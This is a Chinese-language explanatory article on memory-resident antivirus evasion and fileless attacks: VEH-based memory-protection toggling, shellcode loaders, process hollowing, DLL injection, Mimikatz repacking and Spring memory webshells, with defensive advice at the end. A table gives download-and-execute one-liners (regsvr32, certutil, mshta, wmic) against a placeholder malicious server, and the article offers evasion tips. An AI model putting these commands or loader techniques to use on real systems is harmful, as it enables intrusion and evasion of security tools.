内存免杀与无文件攻击深度解析
0. 前言
在当今网络安全领域,攻击者不断进化他们的技术以逃避检测,其中内存免杀与无文件攻击已成为最受高级攻击者青睐的技术。这些技术通过最大限度地减少在目标系统上留下的痕迹,有效规避了传统安全解决方案的检测。
1. 内存免杀与无文件攻击基础
1.1 概念解析
内存免杀(Memory Avoidance):指恶意代码通过仅在内存中运行,避免将自身写入磁盘或掩盖其在内存中的特征,从而逃避防病毒软件检测的技术。
无文件攻击(Fileless Attack):广义上指不依赖传统文件落地的攻击方式,恶意代码通常存在于注册表、内存或合法进程中,避免在磁盘上留下恶意文件。
技术实质:虽然"无文件攻击"这一术语容易让人误解为完全不需要文件,但实际上这类攻击仍会使用文件作为初始入口,只是恶意负载不直接以文件形式持久存储在磁盘上,或者恶意代码执行后立即删除磁盘上的文件,只留在内存中运行。
1.2 技术演进历程
无文件攻击技术并非新生事物,其演进历程中的关键节点包括:
- 2014年:第一个引起广泛关注的无文件恶意软件Trojan.Poweliks出现,它仅持久驻留在注册表中,完全不作为文件存在于磁盘上。
- 2015年:Angler EK成为第一个无需在驱动器上写入恶意程序而感染主机的漏洞利用工具包。
- 2017年:"无文件恶意软件"这一术语被安全社区广泛接受并定型。
- 近年:无文件攻击已成为高级持续性威胁(APT)的标准组件,结合了多种逃避技术。
2. 内存免杀核心技术原理
2.1 内存特征规避
传统防病毒软件会扫描进程内存中的恶意模式,内存免杀技术通过多种方式规避这种检测:
动态内存属性修改
这是一种先进的技术,思路是不断改变内存属性,仅在需要执行时设置为可执行,其他时间设置为不可执行。当AV扫描进程空间时,只会扫描敏感的可执行内存区域,通过动态修改内存属性,可以有效规避内存扫描。
Windows异常处理机制:
- C++EH (C++ Exception Handling):标准C++异常处理。使用 try、catch、throw 关键字,是跨平台的推荐方式。
- SEH (Structured Exception Handling):Windows操作系统级别的异常处理。处理像访问违规、除零错误这类硬件和系统异常,使用 __try、__except、__finally 关键字。
- VEH (Vectored Exception Handling):SEH的增强版,也是Windows特有。它是一个链式的回调函数,会在SEH处理之前被调用,可以捕获整个进程内的所有异常。
比喻说明:
- C++EH:程序逻辑内部的错误处理(如"文件未找到")
- SEH:操作系统为程序"车祸现场"(如内存访问错误)设置的救护车和拖车
- VEH:在"车祸现场"安装的全局监控摄像头,能在救护车到达之前最先看到情况并做出反应
基于VEH的内存属性动态修改示例
核心机制:
-
Sleep Hook
- 挂钩Sleep函数,在每次睡眠时:
- 释放shellcode内存(如果存在)
- 解除Hook避免递归调用
- 执行原始Sleep
- 重新挂钩
- 挂钩Sleep函数,在每次睡眠时:
-
VEH异常处理
- 捕获访问违例异常(0xC0000005)
- 当线程尝试执行被设置为不可执行的内存时:
- 检查异常地址是否在目标范围内(is_Exception)
- 恢复内存为可执行状态(PAGE_EXECUTE_READWRITE)
- 让程序继续执行
工作流程:
- Hook Sleep函数,在睡眠时修改内存属性为不可执行
- 当需要执行代码时触发异常
- VEH异常处理程序捕获异常并恢复内存可执行属性
- 代码执行完毕后继续循环
内存加密与解密
恶意代码在内存中大部分时间保持加密状态,仅在执行前解密,执行后立即重新加密。这种方法可以有效降低内存特征检测的概率,但需要注意加密后熵值不能太高,否则可能触发熵值检测机制。
技术协同效应:
- 加密解决静态检测问题
- 内存保护切换解决动态检测问题
- 形成从静态隐藏到动态逃避的完整技术闭环
2.2 Shellcode加载技术
Shellcode加载器是内存免杀的核心组件,其基本工作流程如下:
- 申请内存空间
- 将加密的shellcode写入内存
- 解密shellcode
- 修改内存保护属性为可执行
- 执行shellcode
代码功能分析
1. 文件读取函数 inputFile
作用:读取指定文件的内容到内存中。
2. Shellcode执行函数 execute_shellcode
执行流程:
- 读取文件:将包含shellcode的二进制文件读入内存
- 内存分配:使用VirtualAlloc分配可读写的内存空间
- 复制数据:将shellcode复制到分配的内存中
- 权限修改:将内存保护属性从PAGE_READWRITE改为PAGE_EXECUTE_READ
- 执行代码:通过函数指针调用执行shellcode
免杀操作注意事项:
- 使用VirtualAlloc等函数申请内存,避免直接使用malloc
- 在解密时机上尽可能晚解密,减少暴露时间
- 执行后立即清理内存痕迹
3. 无文件攻击技术分类与实现
3.1 基于脚本的无文件攻击
脚本语言如PowerShell、VBScript、JavaScript等提供了强大的系统管理能力,且不会产生传统可执行文件,因此成为无文件攻击的首选。
HTA(HTML Application)攻击:
- HTA文件使用HTML和脚本语言(如VBScript、JavaScript)编写
- 具有比普通HTML文件更高的权限,可以访问文件系统和注册表
- 通过mshta.exe执行
PowerShell无文件攻击:
- PowerShell因其强大的系统管理能力和丰富的API成为无文件攻击的重要工具
- 可以完全在内存中执行,不产生磁盘文件
3.2 基于注册表的无文件持久化
恶意代码可以将自身存储在注册表键值中,并通过合法系统程序加载到内存执行。
Trojan.Poweliks案例:
- 首个著名的基于注册表的无文件恶意软件
- 将加密的恶意负载保存在注册表中
- 创建自启动脚本负责解码并将负载加载到内存中
3.3 内存注入技术
内存注入技术允许攻击者将恶意代码注入到合法进程的地址空间中,从而掩盖恶意活动。
进程空洞(Process Hollowing)
代码解析:
-
创建挂起的合法进程
- 作用:启动一个合法的系统进程(如svchost.exe、notepad.exe等)
- CREATE_SUSPENDED:关键参数,创建进程但主线程处于挂起状态
- 结果:进程内存空间已分配,但代码尚未开始执行
-
获取进程上下文
- 作用:获取目标进程的线程上下文信息
- 包含内容:寄存器状态(EAX、EBX、ECX、EDX等)
- 关键用途:通过EBX寄存器找到PEB(进程环境块)地址
-
读取PEB获取映像基地址
- ctx.Ebx + 8:在x86系统中,PEB结构体的ImageBaseAddress位于偏移8字节处
- 作用:读取合法进程的原始映像基地址(通常是0x00400000)
- 原理:每个PE文件在内存中加载时都有特定的基地址
-
卸载合法进程内存
- 作用:解除合法进程主模块的内存映射
- 效果:原本存放合法程序代码的内存区域被清空,变成"空洞"
- 关键点:这是"进程空洞"名称的由来
-
在相同地址分配新内存
- pImageBase:在相同的基地址分配内存
- PAGE_EXECUTE_READWRITE:内存属性设置为可读、可写、可执行
- 目的:为恶意代码准备执行环境
-
写入恶意代码
- maliciousImage:准备好的恶意PE文件内存映像
- 作用:将恶意代码写入刚刚创建的"空洞"中
- 结果:合法进程的外壳,恶意代码的内核
-
恢复线程执行
- 作用:恢复挂起的线程,开始执行恶意代码
- 入口点:线程从恶意PE文件的入口点开始执行
技术原理解析:
内存布局变化:
- 原始状态:合法进程的正常内存映射
- 执行进程空洞后:合法进程外壳包含恶意代码内核
为什么这种技术有效:
- 进程名合法:任务管理器显示的是合法进程名
- 父进程合法:进程树看起来正常
- 无文件落地:恶意代码只在内存中存在
- 绕过检测:很多安全产品只检查进程创建,不深入分析内存内容
DLL注入
经典的DLL注入技术通过远程线程将DLL加载到目标进程的内存空间中。
代码逐行解析:
-
获取目标进程句柄
- OpenProcess:打开已存在进程的句柄
- PROCESS_ALL_ACCESS:请求所有可能的访问权限
- pid:目标进程的ID(Process ID)
- 作用:获得对目标进程的操作权限
-
获取LoadLibrary函数地址
- GetModuleHandle("kernel32.dll"):获取kernel32.dll模块的基地址
- GetProcAddress:从kernel32.dll中获取LoadLibraryA函数的地址
- 原理:相同系统DLL在不同进程中的加载地址是一致的
- LoadLibraryA:ANSI版本的DLL加载函数
-
在目标进程中分配内存
- VirtualAllocEx:在目标进程的虚拟地址空间中分配内存
- strlen(dllPath) + 1:DLL路径字符串长度 + 1(用于空终止符)
- MEM_COMMIT:为内存分配物理存储
- PAGE_READWRITE:内存页面可读可写
- 返回值:目标进程中分配的内存地址
-
写入DLL路径
- WriteProcessMemory:将数据写入目标进程的内存空间
- pRemoteMemory:目标进程中刚分配的内存地址
- dllPath:要注入的DLL文件路径
- 作用:让目标进程知道要加载哪个DLL
-
创建远程线程执行LoadLibrary
- CreateRemoteThread:在目标进程中创建远程线程
- pLoadLibrary:线程函数的地址(LoadLibraryA)
- pRemoteMemory:线程参数(DLL路径字符串的地址)
- 效果:目标进程会执行LoadLibraryA("注入的DLL路径")
完整工作流程:
- 打开目标进程 → 2. 获取LoadLibrary地址 → 3. 分配内存 → 4. 写入DLL路径 → 5. 创建远程线程
3.4 系统工具滥用(Living Off the Land)
攻击者滥用操作系统内置的合法工具来实施无文件攻击,这种技术被称为"靠土地为生"。
常用系统工具滥用示例:
| 工具名称 | 正常用途 | 恶意使用示例 |
|---|---|---|
| regsvr32.exe | 注册DLL文件 | 从远程服务器下载并执行DLL:regsvr32 /s /n /u /i:http://恶意服务器/scrobj.dll scrobj.dll |
| rundll32.exe | 执行DLL中的函数 | 执行JavaScript代码:rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";alert('恶意代码'); |
| certutil.exe | 证书管理工具 | 下载恶意文件:certutil -urlcache -split -f http://恶意服务器/malware.exe |
| mshta.exe | HTA文件执行 | 执行远程HTA:mshta http://恶意服务器/attack.hta |
| wmic.exe | WMI管理工具 | 从远程位置下载文件:wmic process call create "http://恶意服务器/malware.exe" |
3.5 Linux无文件攻击技术
Linux系统同样面临无文件攻击威胁,memfd_create系统调用可以创建内存文件描述符,为无文件攻击提供了便利。
使用Perl实现的内存中执行ELF示例:
通过memfd_create创建匿名文件描述符,将恶意ELF文件写入内存并直接执行,完全避免磁盘操作。
4. 实战案例解析
4.1 Mimikatz免杀实例
Mimikatz是著名的凭证提取工具,也是防病毒软件重点检测的对象。
实施步骤:
- 转换格式:使用工具如pe2shc将Mimikatz EXE转换为shellcode格式
- 自定义加密:实现自定义加密算法对shellcode进行加密
- 实现加载器:编写专用的shellcode加载器
关键技术点:
- 使用异或加密等简单但有效的加密方式
- 实现动态解密机制
- 结合内存属性修改技术
4.2 基于VEH的免杀实例
VEH(向量异常处理)是Windows异常处理机制的一部分,执行顺序优于SEH,可用于实现高级免杀技术。
工作机制:
- Hook内存分配函数(如VirtualAlloc)获取shellcode地址和大小
- 注册VEH异常处理程序
- 默认将shellcode内存设置为不可执行
- 当执行shellcode时触发异常
- VEH处理程序捕获异常,临时修改内存为可执行
- 执行完毕后恢复不可执行状态
4.3 Spring内存Webshell实例
在Java Web环境中,可以通过内存注入技术实现无文件Webshell。
技术实现:
- 获取ApplicationContext:通过特定方法获取Spring应用上下文
- 手动注册Controller:动态注册恶意Controller到Spring容器中
- 实现持久化:确保Webshell在应用重启后仍然有效
5. 总结
内存免杀与无文件攻击技术代表了现代网络攻击的演进方向,它们通过滥用系统合法功能和最大限度地减少磁盘痕迹,有效规避了传统安全检测。
技术特点总结:
- 隐蔽性强:减少磁盘痕迹,增加检测难度
- 技术复杂:需要深入理解操作系统机制
- 持续演进:不断适应新的安全防护措施
防御策略建议:
- 行为监控:关注进程行为的异常模式
- 内存分析:定期进行内存安全扫描
- 异常检测:建立基于机器学习的异常行为检测系统
- 最小权限原则:限制系统工具的滥用可能性
- 深度防御:采用多层次的安全防护策略
这类攻击技术的防御需要结合多种技术手段,建立从预防、检测到响应的完整安全体系,才能有效应对日益复杂的网络威胁环境。